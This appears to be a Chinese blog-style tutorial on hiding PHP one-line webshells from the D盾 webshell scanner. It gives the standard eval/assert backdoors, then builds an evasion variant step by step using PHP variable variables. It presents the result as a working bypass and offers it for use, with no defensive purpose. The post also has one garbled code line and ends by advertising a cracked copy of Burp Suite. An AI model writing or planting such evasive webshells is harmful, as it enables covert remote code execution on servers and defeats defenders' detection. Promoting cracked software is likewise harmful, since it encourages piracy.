其实绕过D盾的webshell,很好绕过,不需要对php的理解有多深入,其实往往最简单的方法就可以绕过D盾
我们就来一发简简单单绕过D盾的姿势方法。
ps,有友友留言说想看phpwebshell绕过D盾,这不是有手就行?
0x01 一句话
PHP常见的命令执行/代码执行函数如下:(这里都不一一举例了)
eval()
assert()
system()
shell()
shell_exec()
exec()
call_user_func()
call_user_func_array()
array_filter()
常用的一句话如下:
eval($_POST['a']);
'a']); assert(@$_POST[
0x02 一句话绕过D盾
首先我们用php常用一句话
可以发现,直接就是5级 eval后门
我们可以猜想把$_POST[‘a’] 这边换成一个变量,看看D盾的级别会是多少
可以发现还少了1 级
如果我们把$a 在变成一个定义好的变量呢?
上图可以发现,如果eval后面跟上 定义好的变量,级别就会变成1,说明里面有说,是Eval后门,因为参数的问题。
现在呢,我们要运用到PHP的基础知识,可变变量,什么是可变变量,我在下方做出解释
下方代码输出$a
$a="w";
echo $a;
下方代码输出$$a
$a="w";
$$a="c";
echo $$a;
此时我们呢,输出$w 会发现是c,也不会报错$w 不是变量,
当我们$$a的时候,把a和w都会被定义,这个就是可变变量
$a="w";
$$a="c";
echo $w;
我们发现这样的小操作,是不是就可以演变到我们的一句话木马里面
$a = 'ww';
$$a = $_GET['a'];
eval($ww);
如上图发现,说参数ww是未知的内容,那么我们直接在第一行定义一下ww不就可以了?
$ww="heihei";
$a = 'ww';
$$a = $_GET['a'];
eval($ww);
发现报可疑eval了,每当到这一步其实离成功就差一个小数点,我们利用php相关的特性和连接符,或者注释符,即可绕过
这里我们用echo 让它理解成字符串即可绕过
$ww="heihei";
$a = 'ww';
$$a = $_GET['a'];
echo eval($ww);
怎么样很简单吧。其实我们就了解php的基础语法就可以绕过。
关注黑客街,回复 burp 即可 获取 最新版破解burp
如果您觉得该文章有用,请记得点赞和转发哟。
您的阅读和转发 希望都可以让身边的朋友能够共同成长
谢谢大家关注黑客街安全团队
觉得不错点个“赞”、“在看”,支持下小编
原文始发于微信公众号(黑客街安全团队):简简单单webshell绕过D盾的一种方法【php】